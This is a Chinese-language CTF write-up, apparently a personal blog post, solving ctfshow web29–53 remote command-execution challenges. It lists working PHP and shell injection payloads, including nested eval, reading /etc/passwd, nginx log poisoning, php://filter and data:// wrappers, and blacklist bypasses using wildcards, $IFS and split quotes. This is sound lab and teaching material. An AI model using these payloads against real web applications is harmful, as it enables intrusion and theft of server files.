命令执行刷题
命令执行刷题
Sherlockq
前言
在刷命令执行的题目之前,建议先仔细阅读一下这篇文章:CTF中常见RCE命令执行绕过技巧
ctfshow-web29
1 |
|
首先 ?c=system('ls');
查看当前目录下的文件,发现了flag.php
由于题目所限,可以使用通配符来绕过?c=system(%27cat%20./fla?.php);
,右键查看源码得到flag
ctfshow-web30
1 |
|
使用另一个可以执行外部命令的函数来代替system函数,但是要注意exec函数只能返回最后一行的数据,这边使用的passthru函数
?c=passthru('ls');
:得到当前目录下的文件
?c=passthru('cat ./fla*');
:邮件查看源码得到flag
ctfshow-web31
1 |
|
从所提供的代码里面不难知道只检查变量c内的内容,所以我们可以再嵌套一个eval函数来绕过
?c=eval($_GET[cmd]);&cmd=system('ls');
:得到当前目录下的文件名
?c=eval($_GET[cmd]);&cmd=system('cat flag.php');
:右键查看源码得到flag
ctfshow-web32&33&34&35&36
几道题之前的区别无非就是黑名单的内容,但是都可以用以下两种方式来绕过
1 |
|
来个非预期
首先尝试一下能不能文件包含,?c=include$_GET[a]?>&a=/etc/passwd
,读取成功,可以文件包含
通过响应头得知为nginx,所以日志文件位于/var/log/nginx/access.log
,成功读取,然后我们便可以利用日志文件来进行文件包含,具体操作如下图所示:
接下来就是读取文件,得到flag
当然上面由于日志文件的原因在实际操作中比较少见,所以再来个预期解
1 | ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
ctfshow-web37&38
1 |
|
第一种
利用include来进行日志包含,得到flag
第二种
利用php伪协议,如下
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAnKTs/Pg==
:得到当前目录下的文件名
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
:得到flag
ctfshow-web39
1 |
|
看到.php
位于include函数,最开始想着是把它给注释掉,用//
,然后使用伪协议来绕过,但是当一切的代码都base64编码后很奇怪地没有起作用,于是我就直接不编码,直接运行,成功了,如下
?c=data://text/plain,<?php system('cat fla?.php');?>//
:查看源码得到flag
但是查看源码的时候发现后面的.php
并没有被注释掉,尝试去掉注释符发现还是可以,查看源码.php
直接为html所显示的内容
查看题解得知include函数只会执行<?php?>
里面的内容
ctfshow-web40
1 |
|
不会做,查看题解
法一
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system(‘tac fl*’);
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动
ctfshow-web42
1 |
|
>/dev/null 2>&1
将标准输出和标准错误重定向到 /dev/null
,这样就会忽略这些输出,不会显示在页面上,并且这个也是访问不了的
使用 “ ; “ “ || “ “ & “ “ && “ 分隔
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
get传参的话&
需要进行编码
?c=ls;
:查看当前目录下的文件
?c=cat flag.php;
:查看源码得到flag
ctfshow-web43
1 |
|
过滤掉了cat函数,所以我们就是用tac函数来打印文件内容
剩下的跟上题操作一样
ctfshow-web44
1 |
|
这题读取文件函数用tac,flag.php
文件用通配符来代替,剩下步骤与上题一致
ctfshow-web45(替代空格)&46&47&48&49
几题之间的差别就是黑名单的不同,但是都可以用以下操作实现绕过
1 |
|
用%09
或者$IFS$9
来替代空格,其实就是tab的url编码形式,但是直接按tab键会使光标跳到分隔符之后或者跳在历史记录中的下一条记录
剩下操作与前面无差
web-50&web51
web50
1 |
|
这题可以拿来替代空格的式子全部都被过滤掉了,所以我们需要另辟蹊径
上网查阅可知<,<>
也是可以替代空格的,所以我们可以构造出这样的payload:?c=tac<fla''g.php||
web51
这道题多过滤了一个tac,但是问题不大,已知ca''t
依然可以起到本该有的作用
所以构造payload为:?c=ta''c<fla''g.php||
web-52&web-53
1 |
|
这题我们就需要另一种式子来替代空格,即$IFS
除了这个外该题还有一个坑,就是直接ls的话你会看到一个flag文件,但是打印的时候打印不出flag,其实真正的flag存在根目录处
payload为:?c=ca\t$IFS/fla''g||
,得到flag
web-53
这题只需要替代空格的式子改为${IFS}便可以了,但是不知道为什么$IFS这个不行,猜测可能是其字母会和后面的文件名混起来,起不到作用